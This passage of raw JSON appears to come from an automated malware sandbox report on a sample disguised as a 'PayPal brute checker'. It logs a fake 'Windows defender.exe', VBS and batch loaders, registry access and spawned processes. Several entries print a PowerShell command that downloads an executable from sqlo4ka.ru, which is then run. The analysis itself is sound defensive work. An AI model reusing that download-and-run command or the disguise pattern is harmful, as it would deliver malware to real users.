\"%WINDIR%\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\0478aed7fc25ae268474c704fd2a3e0f\\mscorlib.ni.dll\" at EF7B0000"},{"type":"linebreak"},{"type":"text","value":"\"Windows defender.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\77f338d420d067a26b2d34f47445fc51\\mscorlib.ni.dll\" at 70E90000"},{"type":"linebreak"},{"type":"text","value":"\"e6ee5674bb9446c78bbc5729af6e2c28.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\0478aed7fc25ae268474c704fd2a3e0f\\mscorlib.ni.dll\" at E9E30000"},{"type":"linebreak"},{"type":"text","value":"\"WatchBull.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\77f338d420d067a26b2d34f47445fc51\\mscorlib.ni.dll\" at 6FB30000"},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\77f338d420d067a26b2d34f47445fc51\\mscorlib.ni.dll\" at 70E90000"}],"origin":"Loaded Module","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"api-64","type":6,"relevance":10,"name":"Logged script engine calls","description":"\"wscript.exe\" called \"WScript.Shell.1.CreateObject\" ... \n \"wscript.exe\" called \"WScript.Shell.1.Run\" ... \n \"wscript.exe\" called \"WScript.Shell.1.CreateShortcut\" with result: \"C:\\Media\\System.lnk\" ...\n \"wscript.exe\" called \"WScript.Shell.1(\"CreateShortcut\").TargetPath\" ...","description_v2":["\"wscript.exe\" called \"WScript.Shell.1.CreateObject\" ...","\"wscript.exe\" called \"WScript.Shell.1.Run\" ...","\"wscript.exe\" called \"WScript.Shell.1.CreateShortcut\" with result: \"C:\\Media\\System.lnk\" ...","\"wscript.exe\" called \"WScript.Shell.1(\"CreateShortcut\").TargetPath\" ..."],"description_v3":[{"type":"text","value":"\"wscript.exe\" called \"WScript.Shell.1.CreateObject\" ..."},{"type":"linebreak"},{"type":"text","value":"\"wscript.exe\" called \"WScript.Shell.1.Run\" ..."},{"type":"linebreak"},{"type":"text","value":"\"wscript.exe\" called \"WScript.Shell.1.CreateShortcut\" with result: \"C:\\Media\\System.lnk\" ..."},{"type":"linebreak"},{"type":"text","value":"\"wscript.exe\" called \"WScript.Shell.1(\"CreateShortcut\").TargetPath\" ..."}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"registry-72","type":3,"relevance":3,"name":"Overview of unique CLSIDs touched in registry","description":"$29","description_v2":["\"PayPalBrute_Checker.exe\" touched \"Computer\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\SHELLFOLDER\")","\"PayPalBrute_Checker.exe\" touched \"Memory Mapped Cache Mgr\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\")","\"PayPalBrute_Checker.exe\" touched \"UsersFiles\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\\SHELLFOLDER\")","\"PayPalBrute_Checker.exe\" touched \"Property System Both Class Factory\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\")","\"PayPalBrute_Checker.exe\" touched \"delegate folder that appears in Users Files Folder\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\\SHELLFOLDER\")","\"PayPalBrute_Checker.exe\" touched \"Shell File System Folder\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\\INPROCSERVER32\")","\"PayPalBrute_Checker.exe\" touched \"Security Manager\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\\TREATAS\")","\"PayPal.scr\" touched \"Microsoft Multiple AutoComplete List Container\" (Path: \"HKCR\\SOFTWARE\\CLASSES\\WOW6432NODE\\CLSID\\{00BB2765-6A77-11D0-A535-00C04FD7D062}\")","\"PayPal.scr\" touched \"Microsoft Shell Folder AutoComplete List\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{03C036F1-A186-11D0-824A-00AA005B4383}\\TREATAS\")","\"PayPal.scr\" touched \"Microsoft AutoComplete\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{00BB2763-6A77-11D0-A535-00C04FD7D062}\\TREATAS\")","\"PayPal.scr\" touched \"Microsoft TipAutoCompleteClient Control\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{807C1E6C-1D00-453F-B920-B61BB7CDD997}\\TREATAS\")","\"PayPal.exe\" touched \"Enhanced Storage Icon Overlay Handler Class\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D}\\INPROCSERVER32\")","\"PayPal.exe\" touched \"Sharing Overlay (Private)\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{08244EE6-92F0-47F2-9FC9-929BAA2E7235}\\INPROCSERVER32\")","\"loader.bat\" touched \"Portable Devices\" (Path: \"HKCU\\CLSID\\{35786D3C-B075-49B9-88DD-029876E11C01}\\SHELLFOLDER\")","\"loader.bat\" touched \"Enhanced Storage Data Source\" (Path: \"HKCU\\CLSID\\{9113A02D-00A3-46B9-BC5F-9C04DADDD5D7}\\SHELLFOLDER\")","\"loader.bat\" touched \"delegate folder that appears in Computer\" (Path: \"HKCU\\CLSID\\{B155BDF8-02F0-451E-9A26-AE317CFD7779}\\SHELLFOLDER\")","\"loader.bat\" touched \"Network\" (Path: \"HKCU\\CLSID\\{208D2C60-3AEA-1069-A2D7-08002B30309D}\\SHELLFOLDER\")","\"loader.bat\" touched \"Recycle Bin\" (Path: \"HKCU\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\SHELLFOLDER\")","\"loader.bat\" touched \"Control Panel\" (Path: \"HKCU\\CLSID\\{26EE0668-A00A-44D7-9371-BEB064C98683}\\SHELLFOLDER\")","\"loader.bat\" touched \"UsersLibraries\" (Path: \"HKCU\\CLSID\\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\\SHELLFOLDER\")"],"description_v3":[{"type":"text","value":"\"PayPalBrute_Checker.exe\" touched \"Computer\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\SHELLFOLDER\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" touched \"Memory Mapped Cache Mgr\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" touched \"UsersFiles\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\\SHELLFOLDER\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" touched \"Property System Both Class Factory\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" touched \"delegate folder that appears in Users Files Folder\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\\SHELLFOLDER\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" touched \"Shell File System Folder\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\\INPROCSERVER32\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" touched \"Security Manager\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\\TREATAS\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPal.scr\" touched \"Microsoft Multiple AutoComplete List Container\" (Path: \"HKCR\\SOFTWARE\\CLASSES\\WOW6432NODE\\CLSID\\{00BB2765-6A77-11D0-A535-00C04FD7D062}\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPal.scr\" touched \"Microsoft Shell Folder AutoComplete List\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{03C036F1-A186-11D0-824A-00AA005B4383}\\TREATAS\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPal.scr\" touched \"Microsoft AutoComplete\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{00BB2763-6A77-11D0-A535-00C04FD7D062}\\TREATAS\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPal.scr\" touched \"Microsoft TipAutoCompleteClient Control\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{807C1E6C-1D00-453F-B920-B61BB7CDD997}\\TREATAS\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPal.exe\" touched \"Enhanced Storage Icon Overlay Handler Class\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D}\\INPROCSERVER32\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPal.exe\" touched \"Sharing Overlay (Private)\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{08244EE6-92F0-47F2-9FC9-929BAA2E7235}\\INPROCSERVER32\")"},{"type":"linebreak"},{"type":"text","value":"\"loader.bat\" touched \"Portable Devices\" (Path: \"HKCU\\CLSID\\{35786D3C-B075-49B9-88DD-029876E11C01}\\SHELLFOLDER\")"},{"type":"linebreak"},{"type":"text","value":"\"loader.bat\" touched \"Enhanced Storage Data Source\" (Path: \"HKCU\\CLSID\\{9113A02D-00A3-46B9-BC5F-9C04DADDD5D7}\\SHELLFOLDER\")"},{"type":"linebreak"},{"type":"text","value":"\"loader.bat\" touched \"delegate folder that appears in Computer\" (Path: \"HKCU\\CLSID\\{B155BDF8-02F0-451E-9A26-AE317CFD7779}\\SHELLFOLDER\")"},{"type":"linebreak"},{"type":"text","value":"\"loader.bat\" touched \"Network\" (Path: \"HKCU\\CLSID\\{208D2C60-3AEA-1069-A2D7-08002B30309D}\\SHELLFOLDER\")"},{"type":"linebreak"},{"type":"text","value":"\"loader.bat\" touched \"Recycle Bin\" (Path: \"HKCU\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\SHELLFOLDER\")"},{"type":"linebreak"},{"type":"text","value":"\"loader.bat\" touched \"Control Panel\" (Path: \"HKCU\\CLSID\\{26EE0668-A00A-44D7-9371-BEB064C98683}\\SHELLFOLDER\")"},{"type":"linebreak"},{"type":"text","value":"\"loader.bat\" touched \"UsersLibraries\" (Path: \"HKCU\\CLSID\\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\\SHELLFOLDER\")"}],"origin":"Registry Access","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"target-67","type":9,"relevance":10,"name":"Process launched with changed environment","description":"$2a","description_v2":["Process \"wscript.exe\" (UID: 00099629-00002756) was launched with new environment variables: \"sfxcmd=\"\"C:\\Users\\HAPUBWS\\AppData\\Roaming\\1337\\PayPal.scr\" /S\", sfxstime=\"2019-06-02-05-00-04-115\", sfxpar=\"/S\", sfxname=\"C:\\Users\\HAPUBWS\\AppData\\Roaming\\1337\\PayPal.scr\"\"","Process \"PayPal.exe\" (UID: 00099768-00003800) was launched with modified environment variables: \"CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles\"","Process \"PayPal.exe\" (UID: 00099768-00003800) was launched with missing environment variables: \"PROCESSOR_ARCHITEW6432, sfxcmd, sfxstime, sfxpar, sfxname\"","Process \"loader.bat\" (UID: 00099794-00004056) was launched with modified environment variables: \"CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles\"","Process \"loader.bat\" (UID: 00099794-00004056) was launched with missing environment variables: \"PROCESSOR_ARCHITEW6432, sfxcmd, sfxstime, sfxpar, sfxname\"","Process \"powershell.exe\" (UID: 00099826-00003808) was launched with new environment variables: \"PROCESSOR_ARCHITEW6432=\"AMD64\", sfxcmd=\"\"C:\\Users\\HAPUBWS\\AppData\\Roaming\\1337\\PayPal.scr\" /S\", sfxstime=\"2019-06-02-05-00-04-115\", sfxpar=\"/S\", sfxname=\"C:\\Users\\HAPUBWS\\AppData\\Roaming\\1337\\PayPal.scr\"\"","Process \"powershell.exe\" (UID: 00099826-00003808) was launched with modified environment variables: \"CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles\"","Process \"timeout.exe\" (UID: 00100348-00000320) was launched with new environment variables: \"PROCESSOR_ARCHITEW6432=\"AMD64\", sfxcmd=\"\"C:\\Users\\HAPUBWS\\AppData\\Roaming\\1337\\PayPal.scr\" /S\", sfxstime=\"2019-06-02-05-00-04-115\", sfxpar=\"/S\", sfxname=\"C:\\Users\\HAPUBWS\\AppData\\Roaming\\1337\\PayPal.scr\"\"","Process \"timeout.exe\" (UID: 00100348-00000320) was launched with modified environment variables: \"CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles\"","Process \"wscript.exe\" (UID: 00100726-00002996) was launched with modified environment variables: \"sfxcmd, sfxstime, sfxname\"","Process \"wscript.exe\" (UID: 00100726-00002996) was launched with missing environment variables: \"sfxpar\""],"description_v3":[{"type":"text","value":"Process \"wscript.exe\""},{"type":"process","process_uid":"00099629-00002756","label":"Show Process"},{"type":"text","value":"was launched with new environment variables: \"sfxcmd=\"\"%APPDATA%\\1337\\PayPal.scr\" /S\", sfxstime=\"2019-06-02-05-00-04-115\", sfxpar=\"/S\", sfxname=\"C:\\Users\\%USERNAME%\\AppData\\Roaming\\1337\\PayPal.scr\"\""},{"type":"linebreak"},{"type":"text","value":"Process \"PayPal.exe\""},{"type":"process","process_uid":"00099768-00003800","label":"Show Process"},{"type":"text","value":"was launched with modified environment variables: \"CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles\""},{"type":"linebreak"},{"type":"text","value":"Process \"PayPal.exe\""},{"type":"process","process_uid":"00099768-00003800","label":"Show Process"},{"type":"text","value":"was launched with missing environment variables: \"PROCESSOR_ARCHITEW6432, sfxcmd, sfxstime, sfxpar, sfxname\""},{"type":"linebreak"},{"type":"text","value":"Process \"loader.bat\""},{"type":"process","process_uid":"00099794-00004056","label":"Show Process"},{"type":"text","value":"was launched with modified environment variables: \"CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles\""},{"type":"linebreak"},{"type":"text","value":"Process \"loader.bat\""},{"type":"process","process_uid":"00099794-00004056","label":"Show Process"},{"type":"text","value":"was launched with missing environment variables: \"PROCESSOR_ARCHITEW6432, sfxcmd, sfxstime, sfxpar, sfxname\""},{"type":"linebreak"},{"type":"text","value":"Process \"powershell.exe\""},{"type":"process","process_uid":"00099826-00003808","label":"Show Process"},{"type":"text","value":"was launched with new environment variables: \"PROCESSOR_ARCHITEW6432=\"AMD64\", sfxcmd=\"\"C:\\Users\\%USERNAME%\\AppData\\Roaming\\1337\\PayPal.scr\" /S\", sfxstime=\"2019-06-02-05-00-04-115\", sfxpar=\"/S\", sfxname=\"C:\\Users\\%USERNAME%\\AppData\\Roaming\\1337\\PayPal.scr\"\""},{"type":"linebreak"},{"type":"text","value":"Process \"powershell.exe\""},{"type":"process","process_uid":"00099826-00003808","label":"Show Process"},{"type":"text","value":"was launched with modified environment variables: \"CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles\""},{"type":"linebreak"},{"type":"text","value":"Process \"timeout.exe\""},{"type":"process","process_uid":"00100348-00000320","label":"Show Process"},{"type":"text","value":"was launched with new environment variables: \"PROCESSOR_ARCHITEW6432=\"AMD64\", sfxcmd=\"\"C:\\Users\\%USERNAME%\\AppData\\Roaming\\1337\\PayPal.scr\" /S\", sfxstime=\"2019-06-02-05-00-04-115\", sfxpar=\"/S\", sfxname=\"C:\\Users\\%USERNAME%\\AppData\\Roaming\\1337\\PayPal.scr\"\""},{"type":"linebreak"},{"type":"text","value":"Process \"timeout.exe\""},{"type":"process","process_uid":"00100348-00000320","label":"Show Process"},{"type":"text","value":"was launched with modified environment variables: \"CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles\""},{"type":"linebreak"},{"type":"text","value":"Process \"wscript.exe\""},{"type":"process","process_uid":"00100726-00002996","label":"Show Process"},{"type":"text","value":"was launched with modified environment variables: \"sfxcmd, sfxstime, sfxname\""},{"type":"linebreak"},{"type":"text","value":"Process \"wscript.exe\""},{"type":"process","process_uid":"00100726-00002996","label":"Show Process"},{"type":"text","value":"was launched with missing environment variables: \"sfxpar\""}],"origin":"Monitored Target","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"target-3","type":9,"relevance":5,"name":"Runs shell commands","description":"\"%WINDIR%\\system32\\cmd.exe /c \"\"%PUBLIC%\\Download\\jxzvmjhZXoFhKaVkRQp3.cmd\" \"\" on 2019-6-2.05:00:08.568\n \"/C powershell -Command \"(New-Object Net.WebClient).DownloadFile('http://sqlo4ka.ru/DCRS/dsock/90cc6e447d345bb1f103751ab038bbce19190db6.exe', '%PUBLIC%\\Download/90cc6e447d345bb1f103751ab038bbce19190db6.exe')\"\" on 2019-6-2.05:00:13.224\n \"%WINDIR%\\system32\\cmd.exe /c \"\"C:\\Media\\zVzv5CCsXa33WA0xKgGdsJR1M6LeDN.bat\" \"\" on 2019-6-2.05:01:11.763\n \"/C%PROGRAMFILES%\\(x86)/Adobe/Acrobat Reader DC/Esl/regedit.exe\" on 2019-6-2.05:01:16.713","description_v2":["\"%WINDIR%\\system32\\cmd.exe /c \"\"%PUBLIC%\\Download\\jxzvmjhZXoFhKaVkRQp3.cmd\" \"\" on 2019-6-2.05:00:08.568","\"/C powershell -Command \"(New-Object Net.WebClient).DownloadFile('http://sqlo4ka.ru/DCRS/dsock/90cc6e447d345bb1f103751ab038bbce19190db6.exe', '%PUBLIC%\\Download/90cc6e447d345bb1f103751ab038bbce19190db6.exe')\"\" on 2019-6-2.05:00:13.224","\"%WINDIR%\\system32\\cmd.exe /c \"\"C:\\Media\\zVzv5CCsXa33WA0xKgGdsJR1M6LeDN.bat\" \"\" on 2019-6-2.05:01:11.763","\"/C%PROGRAMFILES%\\(x86)/Adobe/Acrobat Reader DC/Esl/regedit.exe\" on 2019-6-2.05:01:16.713"],"description_v3":[{"type":"text","value":"\"%WINDIR%\\system32\\cmd.exe /c \"\"%PUBLIC%\\Download\\jxzvmjhZXoFhKaVkRQp3.cmd\" \"\" on 2019-6-2.05:00:08.568"},{"type":"linebreak"},{"type":"text","value":"\"/C powershell -Command \"(New-Object Net.WebClient).DownloadFile('http://sqlo4ka.ru/DCRS/dsock/90cc6e447d345bb1f103751ab038bbce19190db6.exe', '%PUBLIC%\\Download/90cc6e447d345bb1f103751ab038bbce19190db6.exe')\"\" on 2019-6-2.05:00:13.224"},{"type":"linebreak"},{"type":"text","value":"\"%WINDIR%\\system32\\cmd.exe /c \"\"C:\\Media\\zVzv5CCsXa33WA0xKgGdsJR1M6LeDN.bat\" \"\" on 2019-6-2.05:01:11.763"},{"type":"linebreak"},{"type":"text","value":"\"/C%PROGRAMFILES%\\(x86)/Adobe/Acrobat Reader DC/Esl/regedit.exe\" on 2019-6-2.05:01:16.713"}],"origin":"Monitored Target","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"api-70","type":6,"relevance":10,"name":"Scanning for window names","description":"\"PayPal.scr\" searching for class \"EDIT\"\n \"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" searching for class \"EDIT\"","description_v2":["\"PayPal.scr\" searching for class \"EDIT\"","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" searching for class \"EDIT\""],"description_v3":[{"type":"text","value":"\"PayPal.scr\" searching for class \"EDIT\""},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" searching for class \"EDIT\""}],"origin":"API Call","attck_id":"T1010","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1010","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"target-25","type":9,"relevance":3,"name":"Spawns new processes","description":"$2b","description_v2":["Spawned process \"PayPal.scr\" with commandline \"/S\" (UID: 00099374-00003980)","Spawned process \"PayPal brute?checker.exe\" (UID: 00099410-00003540)","Spawned process \"wscript.exe\" with commandline \"\"%PUBLIC%\\Download\\H5KkIOXyzL2J9BOlW1BGwFzh93eQph.vbs\"\" (UID: 00099629-00002756)","Spawned process \"PayPal.exe\" (UID: 00099768-00003800)","Spawned process \"cmd.exe\" with commandline \"%WINDIR%\\system32\\cmd.exe /c \"\"%PUBLIC%\\Download\\jxzvmjhZXoFhKaV ...\" (UID: 00099783-00003796)","Spawned process \"loader.bat\" (UID: 00099794-00004056)","Spawned process \"powershell.exe\" with commandline \"powershell -Command \"(New-Object Net.WebClient).DownloadFile('h ...\" (UID: 00099826-00003808)","Spawned process \"cmd.exe\" with commandline \"/C powershell -Command \"(New-Object Net.WebClient).DownloadFile( ...\" (UID: 00100067-00003360)","Spawned process \"powershell.exe\" with commandline \"powershell -Command \"(New-Object Net.WebClient).DownloadFile('h ...\" (UID: 00100099-00003764)","Spawned process \"timeout.exe\" with commandline \"TIMEOUT /T 1 /NOBREAK\" (UID: 00100348-00000320)","Spawned process \"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (UID: 00100415-00002736)","Spawned process \"wscript.exe\" with commandline \"\"C:\\Media\\System.vbe\"\" (UID: 00100726-00002996)","Spawned process \"Windows defender.exe\" (UID: 00100753-00001696)","Spawned process \"cmd.exe\" with commandline \"%WINDIR%\\system32\\cmd.exe /c \"\"C:\\Media\\zVzv5CCsXa33WA0xKgGdsJR1 ...\" (UID: 00101239-00002600)","Spawned process \"e6ee5674bb9446c78bbc5729af6e2c28.exe\" (UID: 00101297-00001072)","Spawned process \"WatchBull.exe\" (UID: 00101338-00001632)","Spawned process \"fontreview.exe\" with commandline \"C:/Media/fontreview.exe\" (UID: 00101353-00003544)","Spawned process \"cmd.exe\" with commandline \"/C%PROGRAMFILES%\\(x86)/Adobe/Acrobat Reader DC/Esl/regedit.exe\" (UID: 00101634-00002536)"],"description_v3":[{"type":"text","value":"Spawned process \"PayPal.scr\" with commandline \"/S\""},{"type":"process","process_uid":"00099374-00003980","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"PayPal brute?checker.exe\""},{"type":"process","process_uid":"00099410-00003540","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%PUBLIC%\\Download\\H5KkIOXyzL2J9BOlW1BGwFzh93eQph.vbs\"\""},{"type":"process","process_uid":"00099629-00002756","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"PayPal.exe\""},{"type":"process","process_uid":"00099768-00003800","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"%WINDIR%\\system32\\cmd.exe /c \"\"%PUBLIC%\\Download\\jxzvmjhZXoFhKaV ...\""},{"type":"process","process_uid":"00099783-00003796","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"loader.bat\""},{"type":"process","process_uid":"00099794-00004056","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"powershell.exe\" with commandline \"powershell -Command \"(New-Object Net.WebClient).DownloadFile('h ...\""},{"type":"process","process_uid":"00099826-00003808","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/C powershell -Command \"(New-Object Net.WebClient).DownloadFile( ...\""},{"type":"process","process_uid":"00100067-00003360","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"powershell.exe\" with commandline \"powershell -Command \"(New-Object Net.WebClient).DownloadFile('h ...\""},{"type":"process","process_uid":"00100099-00003764","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"timeout.exe\" with commandline \"TIMEOUT /T 1 /NOBREAK\""},{"type":"process","process_uid":"00100348-00000320","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"90cc6e447d345bb1f103751ab038bbce19190db6.exe\""},{"type":"process","process_uid":"00100415-00002736","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"C:\\Media\\System.vbe\"\""},{"type":"process","process_uid":"00100726-00002996","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"Windows defender.exe\""},{"type":"process","process_uid":"00100753-00001696","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"%WINDIR%\\system32\\cmd.exe /c \"\"C:\\Media\\zVzv5CCsXa33WA0xKgGdsJR1 ...\""},{"type":"process","process_uid":"00101239-00002600","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"e6ee5674bb9446c78bbc5729af6e2c28.exe\""},{"type":"process","process_uid":"00101297-00001072","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"WatchBull.exe\""},{"type":"process","process_uid":"00101338-00001632","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"fontreview.exe\" with commandline \"C:/Media/fontreview.exe\""},{"type":"process","process_uid":"00101353-00003544","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/C%PROGRAMFILES%\\(x86)/Adobe/Acrobat Reader DC/Esl/regedit.exe\""},{"type":"process","process_uid":"00101634-00002536","label":"Show Process"}],"origin":"Monitored Target","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"target-103","type":9,"relevance":3,"name":"Spawns new processes that are not known child processes","description":"$2c","description_v2":["Spawned process \"PayPal.scr\" with commandline \"/S\" (UID: 00099374-00003980)","Spawned process \"PayPal brute?checker.exe\" (UID: 00099410-00003540)","Spawned process \"wscript.exe\" with commandline \"\"%PUBLIC%\\Download\\H5KkIOXyzL2J9BOlW1BGwFzh93eQph.vbs\"\" (UID: 00099629-00002756)","Spawned process \"PayPal.exe\" (UID: 00099768-00003800)","Spawned process \"cmd.exe\" with commandline \"%WINDIR%\\system32\\cmd.exe /c \"\"%PUBLIC%\\Download\\jxzvmjhZXoFhKaV ...\" (UID: 00099783-00003796)","Spawned process \"loader.bat\" (UID: 00099794-00004056)","Spawned process \"powershell.exe\" with commandline \"powershell -Command \"(New-Object Net.WebClient).DownloadFile('h ...\" (UID: 00099826-00003808)","Spawned process \"cmd.exe\" with commandline \"/C powershell -Command \"(New-Object Net.WebClient).DownloadFile( ...\" (UID: 00100067-00003360)","Spawned process \"powershell.exe\" with commandline \"powershell -Command \"(New-Object Net.WebClient).DownloadFile('h ...\" (UID: 00100099-00003764)","Spawned process \"timeout.exe\" with commandline \"TIMEOUT /T 1 /NOBREAK\" (UID: 00100348-00000320)","Spawned process \"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (UID: 00100415-00002736)","Spawned process \"wscript.exe\" with commandline \"\"C:\\Media\\System.vbe\"\" (UID: 00100726-00002996)","Spawned process \"Windows defender.exe\" (UID: 00100753-00001696)","Spawned process \"cmd.exe\" with commandline \"%WINDIR%\\system32\\cmd.exe /c \"\"C:\\Media\\zVzv5CCsXa33WA0xKgGdsJR1 ...\" (UID: 00101239-00002600)","Spawned process \"e6ee5674bb9446c78bbc5729af6e2c28.exe\" (UID: 00101297-00001072)","Spawned process \"WatchBull.exe\" (UID: 00101338-00001632)","Spawned process \"fontreview.exe\" with commandline \"C:/Media/fontreview.exe\" (UID: 00101353-00003544)","Spawned process \"cmd.exe\" with commandline \"/C%PROGRAMFILES%\\(x86)/Adobe/Acrobat Reader DC/Esl/regedit.exe\" (UID: 00101634-00002536)"],"description_v3":[{"type":"text","value":"Spawned process \"PayPal.scr\" with commandline \"/S\""},{"type":"process","process_uid":"00099374-00003980","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"PayPal brute?checker.exe\""},{"type":"process","process_uid":"00099410-00003540","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%PUBLIC%\\Download\\H5KkIOXyzL2J9BOlW1BGwFzh93eQph.vbs\"\""},{"type":"process","process_uid":"00099629-00002756","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"PayPal.exe\""},{"type":"process","process_uid":"00099768-00003800","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"%WINDIR%\\system32\\cmd.exe /c \"\"%PUBLIC%\\Download\\jxzvmjhZXoFhKaV ...\""},{"type":"process","process_uid":"00099783-00003796","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"loader.bat\""},{"type":"process","process_uid":"00099794-00004056","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"powershell.exe\" with commandline \"powershell -Command \"(New-Object Net.WebClient).DownloadFile('h ...\""},{"type":"process","process_uid":"00099826-00003808","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/C powershell 